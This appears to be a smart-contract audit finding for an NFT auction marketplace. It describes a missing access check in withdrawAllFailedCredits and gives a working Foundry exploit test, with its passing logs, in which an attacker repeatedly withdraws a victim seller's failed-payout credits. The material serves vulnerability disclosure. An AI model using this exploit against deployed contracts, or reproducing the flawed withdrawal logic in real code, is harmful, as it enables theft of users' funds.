The contract intends to hold funds for users in case of direct transfer failure (_payout) by storing them in a mapping called failedTransferCredits. There is a function withdrawAllFailedCredits(address _receiver) to allow users to withdraw these funds later.
The following test will simulate a scenario where transferring funds to the seller fails, resulting in creating a pending balance for them. Then, the attacker (BIDDER_2) will call withdrawAllFailedCredits using the seller's address (SELLER) as _receiver to steal their funds.
pragma solidity 0.8.20;
import {Test, console} from "forge-std/Test.sol";
import {BidBeastsNFTMarket} from "../src/BidBeastsNFTMarketPlace.sol";
import {BidBeasts} from "../src/BidBeasts_NFT_ERC721.sol";
import {ERC721Holder} from "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
contract RejectEther is ERC721Holder {
    receive() external payable {
        revert("Ether payment rejected");
    }
}
contract ExploitTest is Test {
    
    BidBeastsNFTMarket market;
    BidBeasts nft;
    RejectEther rejector;
    
    address public constant OWNER = address(0x1);
    address public constant SELLER = address(0x2); 
    address public constant BIDDER_1 = address(0x3);
    address public constant BIDDER_2 = address(0x4); 
    
    uint256 public constant STARTING_BALANCE = 100 ether;
    uint256 public constant TOKEN_ID = 0;
    uint256 public constant MIN_PRICE = 1 ether;
    function setUp() public {
        
        vm.prank(OWNER);
        nft = new BidBeasts();
        market = new BidBeastsNFTMarket(address(nft));
        rejector = new RejectEther();
        vm.stopPrank();
        
        vm.deal(BIDDER_1, STARTING_BALANCE);
        vm.deal(BIDDER_2, STARTING_BALANCE);
    }
    
    
    function test_exploit_StealFailedCredits_Realistic() public {
        console.log("--- Test: Steal Failed Credits ---");
        
        
        console.log("Step 1: Minting NFT to victim contract (rejector)...");
        vm.prank(OWNER);
        nft.mint(address(rejector));
        vm.stopPrank();
        assertEq(nft.ownerOf(TOKEN_ID), address(rejector), "Rejector should own the NFT");
        console.log("NFT minted successfully to victim.");
        
        
        console.log("Step 2: Victim contract lists the NFT...");
        vm.startPrank(address(rejector));
        nft.approve(address(market), TOKEN_ID);
        market.listNFT(TOKEN_ID, MIN_PRICE, 0);
        vm.stopPrank();
        assertEq(market.getListing(TOKEN_ID).seller, address(rejector), "Listing seller should be the victim contract");
        console.log("NFT listed successfully.");
        
        uint256 bidAmount = MIN_PRICE + 1 ether;
        console.log("Step 3: Bidder places a bid of %s ETH...", bidAmount / 1 ether);
        vm.prank(BIDDER_1);
        market.placeBid{value: bidAmount}(TOKEN_ID);
        vm.stopPrank();
        console.log("Bid placed successfully.");
        
        
        console.log("Step 4: Settling auction, expecting payout to fail...");
        vm.warp(block.timestamp + market.S_AUCTION_EXTENSION_DURATION() + 1);
        market.settleAuction(TOKEN_ID);
        console.log("Auction settled.");
        
        uint256 expectedCredit = (bidAmount * (100 - market.S_FEE_PERCENTAGE())) / 100;
        uint256 victimCredit = market.failedTransferCredits(address(rejector));
        console.log("Victim's expected failed credit: %s wei", expectedCredit);
        console.log("Victim's actual failed credit:   %s wei", victimCredit);
        assertEq(victimCredit, expectedCredit, "Victim should have failed credits after failed payout");
        console.log("Step 5: Verified failed credit created for victim.");
        
        console.log("\n--- Starting Attack ---");
        
        address attacker = BIDDER_2;
        uint256 attackerBalanceBefore = attacker.balance;
        console.log("Attacker balance before attack: %s ETH", attackerBalanceBefore / 1 ether);
        vm.prank(attacker);
        market.withdrawAllFailedCredits(address(rejector));
        console.log("Step 6: Attacker called withdrawAllFailedCredits(victim_address).");
        
        uint256 attackerBalanceAfter = attacker.balance;
        console.log("Attacker balance after attack:  %s ETH", attackerBalanceAfter / 1 ether);
        assertEq(attackerBalanceAfter, attackerBalanceBefore + expectedCredit, "Attacker's balance should have increased by the victim's credit amount");
        console.log(" VULNERABILITY CONFIRMED: Attacker's balance increased correctly.");
        
        uint256 victimCreditAfter = market.failedTransferCredits(address(rejector));
        console.log("Victim's failed credits after attack: %s wei", victimCreditAfter);
        assertEq(victimCreditAfter, expectedCredit, "Victim's credit should NOT have been cleared!");
        console.log(" VULNERABILITY CONFIRMED: Victim's credits remain, allowing for re-entrancy/re-exploitation.");
        
        
        uint256 attackerCreditAfter = market.failedTransferCredits(attacker);
        assertEq(attackerCreditAfter, 0, "Attacker's own credits (which were 0) should now be 0");
        console.log(" VULNERABILITY CONFIRMED: Attacker's (empty) credit balance was cleared instead of victim's.");
    }
}
➜  2025-09-bid-beasts git:(main) ✗ forge test --match-path test/VulnerabilityTest.t.sol -vv   
[⠊] Compiling...
No files changed, compilation skipped
Ran 1 test for test/VulnerabilityTest.t.sol:ExploitTest
[PASS] test_exploit_StealFailedCredits_Realistic() (gas: 362808)
Logs:
  --- Test: Steal Failed Credits ---
  Step 1: Minting NFT to victim contract (rejector)...
  NFT minted successfully to victim.
  Step 2: Victim contract lists the NFT...
  NFT listed successfully.
  Step 3: Bidder places a bid of 2 ETH...
  Bid placed successfully.
  Step 4: Settling auction, expecting payout to fail...
  Auction settled.
  Victim's expected failed credit: 1900000000000000000 wei
  Victim's actual failed credit:   1900000000000000000 wei
  Step 5: Verified failed credit created for victim.
  
--- Starting Attack ---
  Attacker balance before attack: 100 ETH
  Step 6: Attacker called withdrawAllFailedCredits(victim_address).
  Attacker balance after attack:  101 ETH
   VULNERABILITY CONFIRMED: Attacker's balance increased correctly.
  Victim's failed credits after attack: 1900000000000000000 wei
   VULNERABILITY CONFIRMED: Victim's credits remain, allowing for re-entrancy/re-exploitation.
   VULNERABILITY CONFIRMED: Attacker's (empty) credit balance was cleared instead of victim's.
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.30ms (1.47ms CPU time)